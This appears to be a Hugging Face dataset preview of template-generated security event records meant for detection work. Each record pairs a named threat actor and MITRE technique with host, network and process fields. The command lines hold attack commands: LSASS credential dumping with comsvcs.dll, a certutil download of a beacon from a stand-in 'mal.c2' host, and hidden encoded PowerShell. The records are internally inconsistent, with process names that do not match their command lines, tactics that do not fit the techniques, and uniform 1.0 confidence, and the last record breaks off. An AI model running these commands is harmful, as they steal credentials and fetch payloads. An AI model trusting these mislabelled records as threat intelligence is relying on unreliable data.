Datasets:
AnodeAI
/
Elite_quality_cybersecurity

Dataset card Data Studio Files
xet
Community
1
text
stringlengths
1.13k
1.33k
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1484.001 using cloud-native technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Reconnaissance","Collection","Credential Access"],"technique_id":"T1484.001"},"event_id":"evt_apt29_20260109T120517000Z_0003401","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["LOLBin","WMI","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.74.248.156","name":"AZURE-VM-LTN40LWMX2","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3401APT29T1484.001"},"network":{"domain":"github.com","dst_ip":"1.74.255.69","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 925 C:\\temp\\lsass.dmp full","name":"mshta.exe","parent_name":"services.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-01-01T07:24:37.000Z","user":{"name":"svc_zumigvqorbsk","sid":"S-1-5-21-342929792-470063023-4603"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1484.001 using cloud-native technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Defense Evasion"],"technique_id":"T1484.001"},"event_id":"evt_apt29_20260501T050154000Z_0003403","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["LOLBin","WMI","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.75.235.125","name":"EC2-INST-L7MHIF0W7U","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3403APT29T1484.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.146.180.154","dst_port":8443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"rundll32.exe","parent_name":"explorer.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-06-28T06:02:23.000Z","user":{"name":"azuread\\6uo171xnhd8v","sid":"S-1-5-21-772323477-167742417-1685"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1484.001 using cloud-native technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Persistence","Privilege Escalation"],"technique_id":"T1484.001"},"event_id":"evt_lapsus_20250427T025847000Z_0003405","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Base64","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.112.195.170","name":"DB-ORACLE-C0Q99A2X8L","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3405Lapsus$T1484.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.135.6.80","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"cmstp.exe","parent_name":"services.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-10-22T23:22:54.000Z","user":{"name":"CORP\\8q0pu2w2ou9k","sid":"S-1-5-21-350828766-654053396-4115"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1098.004 using encrypted C2 technique.","sub_technique":"SSH Authorized Keys","tactic":["Credential Access","Discovery","Reconnaissance"],"technique_id":"T1098.004"},"event_id":"evt_apt41_20260426T015804000Z_0003407","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["Fileless","WMI","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.86.0.177","name":"IAM-ROLE-4OJEDME5R9","os":"Windows 11"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3407APT41T1098.004"},"network":{"domain":"aws.amazon.com","dst_ip":"1.10.45.132","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1641 C:\\temp\\lsass.dmp full","name":"cmstp.exe","parent_name":"winlogon.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-11-18T21:58:00.000Z","user":{"name":"svc_o168ky54ls3u","sid":"S-1-5-21-501368814-845829088-2151"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1546.003 using cloud-native technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Persistence"],"technique_id":"T1546.003"},"event_id":"evt_volttyphoon_20250114T111816000Z_0003409","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["LOLBin","Base64","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.100.82.184","name":"AZURE-VM-VUSYP2TPOQ","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3409Volt TyphoonT1546.003"},"network":{"domain":"aws.amazon.com","dst_ip":"1.181.34.135","dst_port":8443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"rundll32.exe","parent_name":"services.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-10-30T03:22:57.000Z","user":{"name":"arn:aws:iam::h9pt4t9b8kkd","sid":"S-1-5-21-386299362-750258207-4241"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1566.001 using LOLBin technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Collection","Lateral Movement","Defense Evasion"],"technique_id":"T1566.001"},"event_id":"evt_unc4841_20250912T211308000Z_0003411","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["Fileless","JA3 Spoof","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.176.118.218","name":"AZURE-VM-U7GFJTIISQ","os":"Amazon Linux 2"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3411UNC4841T1566.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.125.65.225","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"cmstp.exe","parent_name":"explorer.exe"},"source":"Windows Security Log","timestamp":"2025-04-07T14:16:04.000Z","user":{"name":"azuread\\g11vlfs1md1o","sid":"S-1-5-21-942401559-225099904-1458"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1484.001 using cloud-native technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Initial Access"],"technique_id":"T1484.001"},"event_id":"evt_scatteredspider_20250815T182729000Z_0003413","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["TLS","WMI","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.172.131.176","name":"IAM-ROLE-D0I5LDKOQI","os":"Amazon Linux 2"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3413Scattered SpiderT1484.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.174.220.100","dst_port":5985,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2589 C:\\temp\\lsass.dmp full","name":"powershell.exe","parent_name":"services.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-02-11T00:12:15.000Z","user":{"name":"CORP\\c117owga8xcy","sid":"S-1-5-21-263306408-802107360-4599"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1059.001 using cloud-native technique.","sub_technique":"PowerShell","tactic":["Privilege Escalation"],"technique_id":"T1059.001"},"event_id":"evt_apt41_20251206T202108000Z_0003415","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["Fileless","Base64","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.107.252.4","name":"WIN-FIN-SRV-GR0L4I78VL","os":"Windows 11"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3415APT41T1059.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.100.88.146","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"bitsadmin.exe","parent_name":"explorer.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-02-18T20:25:51.000Z","user":{"name":"svc_w010qjpyr9cz","sid":"S-1-5-21-480770096-766355865-1263"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1021.006 using LOLBin technique.","sub_technique":"Windows Remote Management","tactic":["Credential Access"],"technique_id":"T1021.006"},"event_id":"evt_unc4841_20260419T014054000Z_0003417","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["TLS","Base64","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.119.113.21","name":"EC2-INST-CGW16LOI2G","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3417UNC4841T1021.006"},"network":{"domain":"github.com","dst_ip":"1.50.43.253","dst_port":3389,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"cmstp.exe","parent_name":"explorer.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-10-02T05:34:14.000Z","user":{"name":"i-fhik7baigna2","sid":"S-1-5-21-821278305-326837823-9826"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1098.004 using fileless technique.","sub_technique":"SSH Authorized Keys","tactic":["Discovery"],"technique_id":"T1098.004"},"event_id":"evt_lapsus_20250704T040623000Z_0003419","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["TLS","WMI","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.25.160.110","name":"IAM-ROLE-VM9T8CCQ7F","os":"Windows 11"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3419Lapsus$T1098.004"},"network":{"domain":"aws.amazon.com","dst_ip":"1.68.204.214","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1763 C:\\temp\\lsass.dmp full","name":"wmic.exe","parent_name":"services.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-10-04T18:51:54.000Z","user":{"name":"svc_w5ioo7sqswil","sid":"S-1-5-21-172594316-790118056-7635"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1546.003 using cloud-native technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Credential Access","Exfiltration","Lateral Movement"],"technique_id":"T1546.003"},"event_id":"evt_apt41_20260602T214517000Z_0003421","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["WMI","Base64","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.215.26.143","name":"EC2-INST-HN39KJ6QFT","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3421APT41T1546.003"},"network":{"domain":"github.com","dst_ip":"1.154.87.53","dst_port":443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2894 C:\\temp\\lsass.dmp full","name":"cmstp.exe","parent_name":"svchost.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-11-09T17:59:48.000Z","user":{"name":"arn:aws:iam::d0owvhz65ook","sid":"S-1-5-21-788338340-633867281-7709"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1003.001 using LOLBin technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Persistence"],"technique_id":"T1003.001"},"event_id":"evt_volttyphoon_20250731T171806000Z_0003423","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["LOLBin","Base64","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.8.165.95","name":"APP-WEB-YJHUCPXWBO","os":"Windows 11"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3423Volt TyphoonT1003.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.132.9.161","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3036 C:\\temp\\lsass.dmp full","name":"mshta.exe","parent_name":"winlogon.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-03-17T06:22:32.000Z","user":{"name":"azuread\\0q66fj3my48v","sid":"S-1-5-21-120363023-357205860-4464"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1566.001 using LOLBin technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Discovery","Reconnaissance"],"technique_id":"T1566.001"},"event_id":"evt_apt41_20250801T034452000Z_0003425","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["LOLBin","Base64","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.85.234.135","name":"APP-WEB-FGEMDZFZMF","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3425APT41T1566.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.154.67.75","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"wmic.exe","parent_name":"explorer.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-09-09T08:10:39.000Z","user":{"name":"CORP\\ohbjhp2ek8gy","sid":"S-1-5-21-514513975-747034797-6458"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1059.001 using encrypted C2 technique.","sub_technique":"PowerShell","tactic":["Execution"],"technique_id":"T1059.001"},"event_id":"evt_fin7_20250808T094138000Z_0003427","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","WMI","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.60.141.176","name":"IAM-ROLE-NFNC6OKEW3","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3427FIN7T1059.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.32.66.241","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"bitsadmin.exe","parent_name":"explorer.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-08-15T21:41:25.000Z","user":{"name":"azuread\\e6ks9yezz7nq","sid":"S-1-5-21-609420305-113100906-6441"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1071.001 using encrypted C2 technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Impact","Discovery"],"technique_id":"T1071.001"},"event_id":"evt_lapsus_20251026T191152000Z_0003429","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["Fileless","JA3 Spoof","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.172.151.166","name":"DB-ORACLE-LKPAZ9Y71R","os":"Ubuntu 22.04"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3429Lapsus$T1071.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.37.224.51","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"mshta.exe","parent_name":"services.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-07-22T09:31:18.000Z","user":{"name":"CORP\\soxhxlxbbvg6","sid":"S-1-5-21-653476243-878020619-7146"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1546.003 using cloud-native technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Credential Access","Exfiltration"],"technique_id":"T1546.003"},"event_id":"evt_apt41_20261020T081544000Z_0003431","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["WMI","JA3 Spoof","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.121.111.35","name":"IAM-ROLE-FRRNR1OKT0","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3431APT41T1546.003"},"network":{"domain":"aws.amazon.com","dst_ip":"1.104.134.221","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 504 C:\\temp\\lsass.dmp full","name":"wmic.exe","parent_name":"explorer.exe"},"source":"Windows Security Log","timestamp":"2026-05-25T21:30:28.000Z","user":{"name":"azuread\\6as6j86hr5no","sid":"S-1-5-21-315284903-257682006-6494"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1098.004 using encrypted C2 technique.","sub_technique":"SSH Authorized Keys","tactic":["Reconnaissance"],"technique_id":"T1098.004"},"event_id":"evt_unc4841_20250413T234232000Z_0003433","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["TLS","WMI","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.16.141.199","name":"WIN-FIN-SRV-MN19ITW6S2","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3433UNC4841T1098.004"},"network":{"domain":"aws.amazon.com","dst_ip":"1.7.141.94","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"cmstp.exe","parent_name":"explorer.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-03-06T02:48:04.000Z","user":{"name":"i-u9v9li0y9nqv","sid":"S-1-5-21-924564395-879448325-4907"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1546.003 using cloud-native technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Initial Access","Discovery"],"technique_id":"T1546.003"},"event_id":"evt_unc4841_20250717T145203000Z_0003435","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["TLS","JA3 Spoof","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.133.119.178","name":"EC2-INST-K1R8DF0F3V","os":"Windows 11"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3435UNC4841T1546.003"},"network":{"domain":"update.microsoft.com","dst_ip":"1.121.150.113","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2340 C:\\temp\\lsass.dmp full","name":"mshta.exe","parent_name":"winlogon.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-03-11T02:16:35.000Z","user":{"name":"azuread\\zxbhivs1fi4b","sid":"S-1-5-21-517361706-816226948-2816"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1531 using cloud-native technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Privilege Escalation","Collection"],"technique_id":"T1531"},"event_id":"evt_scatteredspider_20260224T154026000Z_0003437","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","WMI","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.177.36.182","name":"AZURE-VM-JFM87PSLX9","os":"Ubuntu 22.04"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3437Scattered SpiderT1531"},"network":{"domain":"github.com","dst_ip":"1.149.27.77","dst_port":445,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"bitsadmin.exe","parent_name":"winlogon.exe"},"source":"Windows Security Log","timestamp":"2025-05-30T00:53:04.000Z","user":{"name":"i-b4btl2brf9mn","sid":"S-1-5-21-282039212-409838748-4076"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1021.006 using cloud-native technique.","sub_technique":"Windows Remote Management","tactic":["Execution","Defense Evasion"],"technique_id":"T1021.006"},"event_id":"evt_fin7_20261226T150004000Z_0003439","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["WMI","TLS","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.170.108.125","name":"EC2-INST-N6GWB6IGOO","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3439FIN7T1021.006"},"network":{"domain":"github.com","dst_ip":"1.101.185.213","dst_port":3389,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1449 C:\\temp\\lsass.dmp full","name":"cmstp.exe","parent_name":"explorer.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-08-11T14:42:13.000Z","user":{"name":"CORP\\bou6o6j4034s","sid":"S-1-5-21-776205067-923415212-8244"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1098.004 using fileless technique.","sub_technique":"SSH Authorized Keys","tactic":["Collection"],"technique_id":"T1098.004"},"event_id":"evt_unc4841_20250522T175146000Z_0003441","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["Base64","TLS","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.201.62.54","name":"WIN-FIN-SRV-JUNCABHCYA","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3441UNC4841T1098.004"},"network":{"domain":"github.com","dst_ip":"1.98.78.81","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"mshta.exe","parent_name":"svchost.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-05-12T22:58:09.000Z","user":{"name":"azuread\\ptaiecajwgmh","sid":"S-1-5-21-353872825-271567512-2964"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1531 using encrypted C2 technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Reconnaissance"],"technique_id":"T1531"},"event_id":"evt_apt29_20260201T141257000Z_0003443","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["LOLBin","Base64","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.82.253.224","name":"EC2-INST-0WJJ3BECO2","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3443APT29T1531"},"network":{"domain":"aws.amazon.com","dst_ip":"1.180.96.7","dst_port":445,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"wmic.exe","parent_name":"explorer.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-01-21T05:57:53.000Z","user":{"name":"CORP\\nis3ht8p57jf","sid":"S-1-5-21-363331834-823348686-5276"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1546.003 using LOLBin technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Discovery","Command and Control","Impact"],"technique_id":"T1546.003"},"event_id":"evt_scatteredspider_20250209T164329000Z_0003445","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["Base64","JA3 Spoof","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.143.100.205","name":"WIN-FIN-SRV-6QVEOFZFGO","os":"Windows Server 2022"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3445Scattered SpiderT1546.003"},"network":{"domain":"aws.amazon.com","dst_ip":"1.145.207.119","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"rundll32.exe","parent_name":"services.exe"},"source":"Windows Security Log","timestamp":"2025-06-01T15:10:04.000Z","user":{"name":"azuread\\pbd9adxge8ka","sid":"S-1-5-21-553745584-474642897-3972"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1071.001 using encrypted C2 technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Lateral Movement","Discovery","Reconnaissance"],"technique_id":"T1071.001"},"event_id":"evt_unc4841_20261223T224613000Z_0003447","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["Base64","JA3 Spoof","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.82.31.155","name":"WIN-FIN-SRV-DN2CBA6KRG","os":"Windows 11"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3447UNC4841T1071.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.152.52.15","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin 